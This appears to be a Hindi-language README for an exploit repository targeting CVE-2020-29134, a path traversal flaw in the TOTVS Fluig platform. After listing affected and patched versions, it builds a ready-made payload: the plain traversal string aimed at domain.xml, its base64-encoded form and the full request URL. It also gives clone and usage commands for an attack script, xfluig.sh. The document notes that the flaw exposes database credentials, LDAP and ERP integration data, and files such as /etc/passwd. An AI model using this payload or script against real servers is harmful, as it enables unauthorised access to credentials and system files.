Totvs Fluig प्लेटफॉर्म

 Fluig एक उत्पादकता और सहयोग प्लेटफॉर्म है जो ERP सिस्टम और आपकी कंपनी के अन्य सिस्टम के साथ एकीकृत होता है, ताकि आप और आपकी टीम जिस तरह से काम करते हैं उसमें क्रांतिकारी बदलाव लाया जा सके।

CVE-2020-29134

 TOTVS Fluig प्लेटफॉर्म base64 में एनकोडेड पैरामीटर के माध्यम से पथ ट्रैवर्सल की अनुमति देता है। जब इसका शोषण किया जाता है, तो यह कमजोरी संवेदनशील XML फ़ाइलों को पढ़ने की अनुमति देती है, जिनमें डेटाबेस तक पहुँचने के लिए डेटा और कुछ मामलों में LDAP कनेक्शन और ERP सिस्टम एकीकरण होता है। इसके अलावा, /etc/passwd और /root/.bash_history जैसी सिस्टम फ़ाइलों का पता लगाना भी संभव है।
 

प्रभावित संस्करण

--
<== Fluig Lake 1.7.0
<== Fluig 1.6.5
<== Fluig 1.6.4
...

पैच किए गए संस्करण

<== Fluig Lake 1.7.0-210303 (Patched)
<== Fluig 1.6.5-210308 (Patched)
<== Fluig 1.6.4-210308 (Patched)

पेलोड बनाना

हमला वेक्टर

 http://fluig.host.com/volume/stream/Rmx1aWc=/

पथ ट्रैवर्सल सादा पाठ

 ?t=1&vol=Default&id=1&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml

पथ ट्रैवर्सल एनकोडेड base64

 P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

पेलोड

 http://HOST.FLUIG.COM/volume/stream/Rmx1aWc=/P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=
 

Exploit-DB संदर्भ

 https://www.exploit-db.com/exploits/49622

 

रिपॉजिटरी क्लोन करें

 # git clone https://github.com/lucxssouza/CVE-2020-29134.git
 # cd CVE-2020-29134
 # chmod +x xfluig.sh

उपयोग

 Ex1: ./xfluig.sh http://fluig.host.com REQUESTS_WFUZZ (wfuzz द्वारा उत्पन्न अनुरोधों की संख्या)

 Ex2: ./xfluig.sh http://fluig.host.com:PORT